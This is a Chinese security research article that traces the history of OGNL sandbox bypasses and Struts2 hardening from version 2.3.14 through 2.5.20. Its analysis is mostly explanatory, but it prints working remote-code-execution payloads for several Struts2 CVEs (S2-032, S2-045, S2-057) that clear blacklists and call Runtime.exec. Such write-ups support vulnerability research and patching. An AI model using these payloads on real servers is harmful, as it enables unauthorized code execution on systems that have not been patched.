浅析 OGNL 的攻防史
作者:Lucifaer
在分析Struts2漏洞的过程中就一直想把OGNL的运行机制以及Struts2对OGNL的防护机制总结一下,但是一直苦于自己对Struts2的理解不是很深刻而迟迟无法动笔,最近看了lgtm的这篇文章收获良多,就想在这篇文章的基础上总结一下目前自己对于OGNL的一些理解,希望师傅们斧正。
0x01 OGNL与Struts2
1.1 root与context
OGNL中最需要理解清楚的是root
(根对象)、context
(上下文)。
root
:root可以理解为是一个java对象,表达式所规定的所有操作都是通过root来指定其对哪个对象进行操作。context
:context可以理解为对象运行的上下文环境,context以MAP的结构,利用键值对关系来描述对象中的属性以及值。
Struts2框架使用了标准的命名上下文(naming context,我实在是不知道咋翻译了-. -)来执行OGNL表达式。处理OGNL的最顶层对象是一个Map对象,通常称这个Map对象为context map
或者context
。而OGNL的root
就在这个context map
中。在表达式中可以直接引用root对象的属性,如果需要引用其他的对象,需要使用#标明。
框架将OGNL里的context
变成了我们的ActionContext
,将root
变成了valueStack
。Struts2将其他对象和valueStack
一起放在ActionContext
中,这些对象包括application
、session
、request context
的上下文映射。下面是一个图例:
1.2 ActionContext
ActionContext
是action的上下文,其本质是一个MAP,简单来说可以理解为一个action的小型数据库,整个action生命周期(线程)中所使用的数据都在这个ActionContext
中。而对于OGNL来说ActionContext
就是充当context
的,并且在框架中
这里盗一张图来说明ActionContext
中存有哪些东西:
可以看到其中有三个常见的作用域request
、session
、application
。
attr
作用域则是保存着上面三个作用域的所有属性,如果有重复的则以request
域中的属性为基准。paramters
作用域保存的是表单提交的参数。VALUE_STACK
,也就是常说的值栈,保存着valueStack
对象,也就是说可以通过ActionContext
访问到valueStack
中的值。
1.3 valueStack
值栈本身是一个ArrayList,充当OGNL的root
:
root
在源码中称为CompoundRoot
,它也是一个栈,每次操作valueStack
的出入栈操作其实就是对CompoundRoot
进行对应的操作。每当我们访问一个action时,就会将action加入到栈顶,而提交的各种表单参数会在valueStack
从顶向下查找对应的属性进行赋值。
这里的context
就是ActionContext
的引用,方便在值栈中去查找action的属性。
1.4 ActionContext和valueStack的关系
可以看到其实ActionContext
和valueStack
是“相互包含”的关系,当然准确点来说,valueStack
是ActionContext
中的一部分,而ActionContext
所描述的也不只是一个OGNLcontext
的代替品,毕竟它更多是为action构建一个独立的运行环境(新的线程)。而这样的关系就导致了我们可以通过valueStack
访问ActionContext
中的属性而反过来亦然。
其实可以用一种不是很标准的表达方式来描述这样的关系:可以把valueStack
想成ActionContext
的索引,你可以直接通过索引来找到表中的数据,也可以在表中找到所有数据的索引,无非是书与目录的关系罢了。
0x02 OGNL的执行
2.1 初始化ValueStack
我们从代码的角度来看看OGNL的执行流。从Struts2框架的代码中,我们可以清楚的看到OGNL的包是位于xwork2
中的,而连通Struts2与xwork2的桥梁就是ActionProxy
,也就是说在ActionProxy
接管整个控制权前,FilterDispatcher
就已经完成了对ActionContext
的建立与初始化。
而具体的代码是在org.apache.struts2.dispatcher.PrepareOperations
中:
在这里如果没有Context存在的话,则会调用ValueStackFactory
这个接口的createValueStack
方法,跟进看一下:
跟进OgnlValueStackFactory
:
这几个参数分别为:
跟进看一下OgnlValueStack
的构造方法:
可以看到设置根、设置安全防范措施、以及调用Ognl.createDefaultContext
来创建默认的Context
映射:
这里我们跟到OgnlContext
中看一下,有这么几个对象时比较重要的,他们规定了OGNL计算中的计算规则处理类:
_root
:在OgnlContext内维护着的Root对象,它是OGNL主要的操作对象_values
:如果希望在OGNL计算时使用传入的Map作为上下文环境,OGNL依旧会创建一个OgnlContext,并将所传入的Map中所有的键值对维护在_values
变量中。这个变量就被看作真正的容器,并在OGNL的计算中发挥作用。ClassResolver
:指定处理class loading的处理类。实际上这个处理类是用于指定OGNL在根据Class名称来构建对象时,寻找Class名称与对应的Class类之间对应关系的处理方式。在默认情况下会使用JVM的class.forName机制来处理。TypeConverter
:指定处理类型转化的处理类。这个处理类非常关键,它会指定一个对象属性转化成字符串以及字符串转化成Java对象时的处理方式。MemberAccess
:指定处理属性访问策略的处理方式。
可以看到这里的ClassResolver
是有关类的寻址以及调用的,也就是常说的所谓的执行。
2.2 将现有的值和字段添加进ValueStack中(构造)
在初始化了ValueStack
后,发现了后面的container.inject(stack);
,这里是将依赖项注入现有的字段和方法,而在这个地方会调用com.opensymphony.xwork2.ognl.OgnlValueStack$setOgnlUtil
将我们所关心的黑名单给添加进来:
然而其根本的作用是创建_memberAccess。
这里可以注意到调用栈中首先是初始化了ValueStack
之后再通过OgnlUtil
这个API将数据和方法注入进ValueStack
中,而ValueStack
又是利用OgnlContext
来创建的,所以会看到OgnlContext
中的_memberAccess与securityMemberAccess是同一个SecurityMemberAccess类的实例,而且内容相同,也就是说全局的OgnlUtil实例都共享着相同的设置。如果利用OgnlUtil更改了设置项(excludedClasses、excludedPackageNames、excludedPackageNamePatterns)则同样会更改_memberAccess中的值。
这里可能不太好理解,可以看下面这几张图:
首先
ValueStack
本身是个OgnlContext
之后调用
setOgnlUtil
添加黑名单:然后
OgnlUtil
中的这些值赋给SecurityMemberAccess
:也就是与
OgnlContext
中的_memberAccess
建立关系,即创建了_memberAccess
:而这一点在沙箱绕过时起到了很重要的作用。
2.3 创建拦截器(Interceptor)
在之后当控制权转交给ActionProxy
时会调用OgnlUtil
作为操作OGNL的API,在创建拦截器(Interceptor
)时会调用com.opensymphony.xwork2.config.providers.InterceptorBuilder
:
在这里利用工场函数来创建拦截器,跟进看一下:
也就是把设置好的黑名单赋到SecurityMemberAccess
中,在当前的上下文中用以检验表达式所调用的方法是否允许被调用。
2.4 OGNL执行(利用反射调用)
说完了初始化,再来说一下所谓的OGNL执行,在这里引用一下《Struts2技术内幕》这本书的一个表,这个表主要列举了OGNL计算时所需要遵循的一些重要的计算规则和默认实现类:
接下来就跟进CompoundRootAccessor
看一下:
在这里拓展了ognl.DefaultClassResovler
,可以支持一些特殊的class名称。
0x03 OGNL的攻防史
回看S2系列的漏洞,每当我们找到一个可以执行OGNL表达式的点在尝试构造恶意的OGNL时都会遇到这个防护机制,在我看了lgtm这篇文章后,我就想把围绕SecurityMemberAccess
的攻防历史来全部梳理一遍。
可以说所有在对于OGNL的攻防全部都是基于如何使用静态方法。Struts2
的防护措施从最开始的正则,到之后的黑名单,在保证OGNL强大功能的基础上,将可能执行静态方法的利用链给切断。在分析绕过方法时,需要注意的有这么几点:
struts-defult.xml
中的黑名单com.opensymphony.xwork2.ognl.SecurityMemberAccess
Ognl
包
以下图例左边都是较为新的版本,右边为老版本。
3.1 Struts 2.3.14.1版本前
S2-012、S2-013、S3-014的出现促使了这次更新,可以说在跟新到2.3.14.1版本前,ognl的利用基本属于不设防状态,我们可以看一下这两个版本的diff,不难发现当时还没有出现黑名单这样的说法,而修复的关键在于SecurityMemberAccess
:
左边是2.3.14.1的版本,右边是2.3.14的版本,不难看出在这之前可以通过ognl直接更改allowStaticMethodAccess=true
,就可以执行后面的静态方法了,所以当时非常通用的一种poc是:
(#_memberAccess['allowStaticMethodAccess']=true).(@java.lang.Runtime@getRuntime().exec('calc'))
而在2.3.14.1版本后将allowStaticMethodAccess
设置成final属性后,就不能显式更改了,这样的poc显然也失效了。
3.2 Struts 2.3.20版本前
在2.3.14.1后虽然不能更改allowStaticMethodAccess
了,但是还是可以通过_memberAccess
使用类的构造函数,并且访问公共函数,所以可以看到当时有一种替代的poc:
(#p=new java.lang.ProcessBuilder('xcalc')).(#p.start())
直到2.3.20,这样的poc都可以直接使用。在2.3.20后,Struts2不仅仅引入了黑名单(excludedClasses, excludedPackageNames 和 excludedPackageNamePatterns),更加重要的是阻止了所有构造函数的使用,所以就不能使用ProcessBuilder
这个payload了。
3.3 Struts 2.3.29版本前
左为2.3.29版本,右边为2.3.28版本
从黑名单中可以看到禁止使用了ognl.MemberAccess
和ognl.DefaultMemberAccess
,而这两个对象其实就是2.3.20-2.3.28版本的通用绕过方法,具体的思路就是利用_memberAccess
调用静态对象DefaultMemberAccess
,然后用DefaultMemberAccess
覆盖_memberAccess
。那么为什么说这样就可以使用静态方法了呢?
我们先来看一下可以在S2-032、S2-033、S2-037通用的poc:
(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec('xcalc'))
我们来看一下ognl.OgnlContext@DEFAULT_MEMBER_ACCESS
:
看过上一节的都知道,在程序运行时在setOgnlUtil
方法中将黑名单等数据赋给SecurityMemberAccess
,而这就是创建_memberAccess
的过程,在动态调试中,我们可以看到这两个对象的id甚至都是一样的,而SecurityAccess
这个对象的父类本身就是ognl.DefaultMemberAccess
,而其建立关系的过程就相当于继承父类并重写父类的过程,所以这里我们利用其父类DefaultMemberAccess
覆盖_memberAccess
中的内容,就相当于初始化了_memberAccess
,这样就可以绕过其之前所设置的黑名单以及限制条件。
3.4 Struts 2.3.30+/2.5.2+
到了2.3.30(2.5.2)之后的版本,我们可以使用的_memberAccess
和DefaultMemberAccess
都进入到黑名单中了,覆盖的方法看似就不行了,而这个时候S2-045的payload提供了一种新的思路:
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))
可以看到绕过的关键点在于:
- 利用Ognl执行流程利用
container
获取了OgnlUtil
实例 - 清空了
OgnlUtil$excludedClasses
黑名单,释放了DefaultMemberAccess
- 利用
setMemberAccess
覆盖
而具体的流程可以参考2.2的内容。
3.5 Struts 2.5.16
分析过S2-057后,你会发现ognl注入很容易复现,但是想要调用静态方法造成代码执行变得很难,我们来看一下Struts2又做了哪些改动:
2.5.13版本后禁止访问
coontext.map
准确来说是ognl包版本的区别,在2.5.13中利用的是3.1.15版本,在2.5.12版本中使用的是3.1.12版本:
而这个改变是在
OgnlContext
中:不只是get方法,put和remove都没有办法访问了,所以说从根本上禁止了对
context.map
的访问。2.5.20版本后
excludedClasses
不可变了,具体的代码在这里
所以在S2-045时可使用的payload已经没有办法再使用了,需要构造新的利用方式。
文章提出了这么一种思路:
- 没有办法使用
context.map
,可以调用attr
,前文说过attr
中保存着整个context
的变量与方法,可以通过attr
中的方法返回给我们一个context.map
。 - 没有办法直接调用
excludedClasses
,也就不能使用clear
方法来清空,但是还可以利用setter
来把excludedClasses
给设置成空 - 清空了黑名单,我们就可以利用
DefaultMemberAccess
来覆盖_memberAccess
,来执行静态方法了。
而这里又会出现一个问题,当我们使用OgnlUtil
的setExcludedClasses
和setExcludedPackageNames
将黑名单置空时并非是对于源(全局的OgnlUtil)进行置空,也就是说_memberAccess
是源数据的一个引用,就像前文所说的,在每次createAction
时都是通过setOgnlUtil
利用全局的源数据创建一个引用,这个引用就是一个MemberAccess
对象,也就是_memberAccess
。所以这里只会影响这次请求的OgnlUtil
而并未重新创建一个新的_memberAccess
对象,所以旧的_memberAccess
对象仍未改变。
而突破这种限制的方式就是再次发送一个请求,将上一次请求已经置空的OgnlUitl
作为源重新创建一个_memberAccess
,这样在第二次请求中_memberAccess
就是黑名单被置空的情况,这个时候就释放了DefaultMemberAccess
,就可以进行正常的覆盖以及执行静态方法。
poc为:
(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('curl 127.0.0.1:9001'))
需要发送两次请求:
0x04 现阶段的OGNL
Struts2在 2.5.16版本后做了很多修改,截止到写文章的时候,已经更新到2.5.20,接下来我将把这几个版本的区别全部都列出来,并且说明现在绕过Ognl沙箱面临着哪些阻碍。同上一节,左边都为较新的版本,右边为较旧的版本。
4.1 2.5.17的改变(限制命名空间)
黑名单的变动,禁止访问
com.opensymphony.xwork2.ognl.
讲道理,2.5.17版本的修补真的是很暴力,直接在黑名单中加上了
com.opensymphony.xwork2.ognl.
也就是说我们根本没办法访问这个Struts2重写的ognl包了。切断了动态引用的方式,需要利用构造函数生成
不谈重写了
setExcludedClasses
和setExcludedPackageNamePatterns
,单单黑名单的改进就极大的限制了利用。
4.2 2.5.19的改进
ognl包的升级,从3.1.15升级到3.1.21
黑名单改进
在
OgnlUtil
中setXWorkConverter
、setDevMode
、setEnableExpressionCache
、setEnableEvalExpression
、setExcludedClasses
、setExcludedPackageNamePatterns
、setExcludedPackageNames
、setContainer
、setAllowStaticMethodAccess
、setDisallowProxyMemberAccess
都从public方法变成了protected方法了:
也就是说没有办法显式调用setExcludedClasses
、setExcludedPackageNamePatterns
、setExcludedPackageNames
了。
4.3 master分支的改变
ognl包的升级,从3.1.21升级到3.2.10,直接删除了
DefaultMemberAccess.java
,同时删除了静态变量DEFAULT_MEMBER_ACCESS
,并且_memberAccess
变成了final:SecurityMemberAccess
不再继承DefaultMemberAccess
而直接转为MemberAccess
接口的实现:
可以看到Struts2.5.*基本上是对Ognl的执行做出了重大的改变,DefaultAccess
彻底退出了历史舞台意味着利用父类覆盖_memberAccess
的利用方式已经无法使用,而黑名单对于com.opensymphony.xwork2.ognl
的限制导致我们基本上没有办法利用Ognl
本身的API来更改黑名单,同时_memberAccess
变为final属性也使得S2-057的这种利用_memberAccess
暂时性的特征而进行“重放攻击”的方式测地化为泡影。
4.4 总结
Struts2随着其不断地发展,减少了原来框架的一部分灵活性而大大的增强了其安全性,如果按照master分支的改动趋势上看,以我的理解上来说,可以说现在基本上没得搞…
0x05 Reference
- https://cloud.tencent.com/developer/article/1024093
- https://lgtm.com/blog/apache_struts_CVE-2018-11776-exploit
- 《Struts2技术内幕》
以上是 浅析 OGNL 的攻防史 的全部内容, 来源链接: utcz.com/p/199207.html